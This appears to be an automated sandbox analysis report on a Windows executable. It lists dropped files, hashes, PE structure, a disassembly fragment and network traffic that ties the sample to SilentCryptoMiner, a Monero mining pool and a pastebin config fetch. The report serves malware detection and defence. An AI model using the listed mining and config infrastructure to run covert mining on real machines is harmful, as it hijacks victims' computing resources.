Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eiu0pqbk.vqi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v1fnyn2f.g0l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zk33mdfs.n02.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulvX/Z:NllUvX
MD5:	E55E6E0E1AB6A345A7BCC5FD9C39F70C
SHA1:	E5344BE0ED383244752DD96C35183014062EB114
SHA-256:	9635856D4CAE632D612BDD5736CEA8F6B6AEEBD6FE3AEB04A842FBDB386BCC91
SHA-512:	74908F7F2D21452483A47A25A5728B9211215C6DB2591E94806E477B6B870C92BCE7E11D64A6E9B4AB225927869AD5440ED2995CCA42FD6C8612B027F994A2A5
Malicious:	false
Preview:	@...e................................................@..........

C:\Windows\Temp\__PSScriptPolicyTest_g1co4ya1.hoh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_mbxbqitq.scx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_nscm1o4l.nbn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xezwn35o.0es.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\amhsyemgqpki.sys

Download File

Process:	C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: LfHJdrALlh.exe, Detection: malicious, Browse Filename: iKvzvknzW1.exe, Detection: malicious, Browse Filename: 2zirzlMVqX.bat, Detection: malicious, Browse Filename: DM6vAAgoCw.exe, Detection: malicious, Browse Filename: f5TWdT5EAc.exe, Detection: malicious, Browse Filename: luQ2wBh8q6.exe, Detection: malicious, Browse Filename: lokigod.exe, Detection: malicious, Browse Filename: nfkciRoR4j.exe, Detection: malicious, Browse Filename: File.exe, Detection: malicious, Browse Filename: rLaC8kO1rD.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.50791529944184
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	nlGOh9K5X5.exe
File size:	7'198'720 bytes
MD5:	6369ad2a31d25fa131268f312b0c9d03
SHA1:	3560bbb24d688b8356615077ff8509d3fb438e05
SHA256:	aca4c0d0dc6f260200ea503a5ce8b370f482044253613142efcdebe5fd92a9f3
SHA512:	bcb3082810b809e7b2c733a6a5e4ace79c30116854a546a3e92d76806059e3d097090b5d924e93bbacf51105e70e6385579bb01fa7d1c590b53f934f426656b6
SSDEEP:	196608:RLtecVgZlN3f+OvbCJLfuufYst5BpS7M4F:R/V0v+Ov+R2ufpk73F
TLSH:	D2760238F7B71868E409D3792C5FB08D74D1E42F7B56259697E53B02947C0E388EE28A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....:g.........."..........Bm.....@..........@.............................Pn.......m...`........................................

File Icon


Icon Hash:	39452592e2f89d86

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x673AD91E [Mon Nov 18 06:05:18 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	de41d4e0545d977de6ca665131bb479a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00009ED5h]
mov dword ptr [eax], 00000001h
call 00007F84B0FC9F0Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00009EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F84B0FC9F30h
dec eax
cmp edi, eax
je 00007F84B0FC9F2Bh
dec esp
mov esi, dword ptr [0000BE19h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F84B0FC9F07h
dec eax
cmp edi, eax
jne 00007F84B0FC9EE9h
dec eax
mov edi, dword ptr [00009E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F84B0FC9F0Eh
mov ecx, 0000001Fh
call 00007F84B0FD2C14h
jmp 00007F84B0FC9F29h
cmp dword ptr [edi], 00000000h
je 00007F84B0FC9F0Bh
mov byte ptr [006CD279h], 00000001h
jmp 00007F84B0FC9F1Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00009E7Ah]
dec eax
mov edx, dword ptr [00009E7Bh]
call 00007F84B0FD2C0Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F84B0FC9F1Bh
dec eax
mov ecx, dword ptr [00009E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xcce8	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6d3000	0x10cbc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6d0000	0x18c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6e4000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb0a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xce80	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9066	0x9200	1104aca161d4269a6a883df6fbab5ac8	False	0.4898865582191781	data	6.156079152445191	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb000	0x243c	0x2600	bc2c6868f9470677f4814681dbe1b087	False	0.4602179276315789	data	4.614036911896442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xe000	0x6c1a90	0x6c0600	b242e91f9108fd7cad696eee04219bc6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6d0000	0x18c	0x200	3e0799d7a731cb30724f6ff058cc0479	False	0.51953125	data	3.2014356061461786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x6d1000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x6d2000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6d3000	0x10cbc	0x10e00	269eb2e7f9438c2ff98bfae819dbb84d	False	0.5713831018518518	data	6.567099990621836	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6e4000	0x78	0x200	eb2386826cd56791515e8d23c48ace06	False	0.236328125	data	1.4427395347148653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x6d30f4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.5781231515438305
RT_GROUP_ICON	0x6e391c	0x14	data			1.15
RT_VERSION	0x6e3930	0x38c	PGP symmetric key encrypted data - Plaintext or unencrypted data	English	United States	0.3370044052863436

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T22:46:13.687422+0100	2054247	ET MALWARE SilentCryptoMiner Agent Config Inbound	1	172.67.19.24	443	192.168.2.4	49731	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 22:46:10.248847961 CET	49730	10343	192.168.2.4	51.89.23.91
Dec 6, 2024 22:46:10.368598938 CET	10343	49730	51.89.23.91	192.168.2.4
Dec 6, 2024 22:46:10.368710041 CET	49730	10343	192.168.2.4	51.89.23.91
Dec 6, 2024 22:46:10.369319916 CET	49730	10343	192.168.2.4	51.89.23.91
Dec 6, 2024 22:46:10.495127916 CET	10343	49730	51.89.23.91	192.168.2.4
Dec 6, 2024 22:46:11.577127934 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:11.577172041 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:11.577246904 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:11.606410027 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:11.606429100 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:11.638334990 CET	10343	49730	51.89.23.91	192.168.2.4
Dec 6, 2024 22:46:11.638448954 CET	10343	49730	51.89.23.91	192.168.2.4
Dec 6, 2024 22:46:11.638509035 CET	49730	10343	192.168.2.4	51.89.23.91
Dec 6, 2024 22:46:12.838176966 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:12.839889050 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:12.839916945 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:12.841574907 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:12.841639996 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:12.843626976 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:12.843713999 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:12.843786955 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:12.843796015 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:12.888501883 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:13.686959982 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687035084 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687130928 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:13.687156916 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687185049 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687215090 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687222004 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:13.687237024 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687271118 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:13.687277079 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687318087 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.687357903 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:13.701683044 CET	49731	443	192.168.2.4	172.67.19.24
Dec 6, 2024 22:46:13.701719046 CET	443	49731	172.67.19.24	192.168.2.4
Dec 6, 2024 22:46:13.713295937 CET	49730	10343	192.168.2.4	51.89.23.91
Dec 6, 2024 22:46:13.713335991 CET	49730	10343	192.168.2.4	51.89.23.91
Dec 6, 2024 22:46:13.713705063 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:13.833571911 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:13.833676100 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:13.836688995 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:13.957084894 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:15.105489016 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:15.105516911 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:15.105623960 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:15.106512070 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:15.226356983 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:15.503504992 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:15.544719934 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:15.742336988 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:15.794701099 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:21.359273911 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:21.404124975 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:27.395590067 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:27.451077938 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:33.400979042 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:33.451086998 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:43.378029108 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:43.419884920 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:46:53.410732031 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:46:53.498033047 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:47:03.377741098 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:47:03.498107910 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:47:13.401993036 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:47:13.498107910 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:47:23.413482904 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:47:23.498117924 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:47:25.485699892 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:47:25.607590914 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:47:35.497890949 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:47:35.607557058 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:47:45.386985064 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:47:45.498229980 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:47:55.385549068 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:47:55.498253107 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:48:05.460937977 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:48:05.607640028 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:48:15.389610052 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:48:15.498331070 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:48:27.372390032 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:48:27.607765913 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:48:37.382154942 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:48:37.424334049 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:48:47.404716969 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:48:47.498562098 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:48:57.433058023 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:48:57.607865095 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:49:07.410062075 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:49:07.607964039 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:49:17.425290108 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:49:17.498589993 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:49:27.451103926 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:49:27.498629093 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:49:37.407651901 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:49:37.498676062 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:49:53.419831038 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:49:53.498692989 CET	49732	10343	192.168.2.4	51.15.193.130
Dec 6, 2024 22:50:03.408018112 CET	10343	49732	51.15.193.130	192.168.2.4
Dec 6, 2024 22:50:03.608123064 CET	49732	10343	192.168.2.4	51.15.193.130

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 22:46:10.088865042 CET	52668	53	192.168.2.4	1.1.1.1
Dec 6, 2024 22:46:10.229141951 CET	53	52668	1.1.1.1	192.168.2.4
Dec 6, 2024 22:46:11.438251019 CET	56528	53	192.168.2.4	1.1.1.1
Dec 6, 2024 22:46:11.576195002 CET	53	56528	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 22:46:10.088865042 CET	192.168.2.4	1.1.1.1	0x93b8	Standard query (0)	xmr-eu1.nanopool.org	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:11.438251019 CET	192.168.2.4	1.1.1.1	0x2f1b	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	51.15.58.224	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	51.89.23.91	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	146.59.154.106	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	51.15.65.182	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	212.47.253.124	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	163.172.154.142	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	141.94.23.83	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	162.19.224.121	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	54.37.232.103	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	51.15.193.130	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:10.229141951 CET	1.1.1.1	192.168.2.4	0x93b8	No error (0)	xmr-eu1.nanopool.org	54.37.137.114	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:11.576195002 CET	1.1.1.1	192.168.2.4	0x2f1b	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
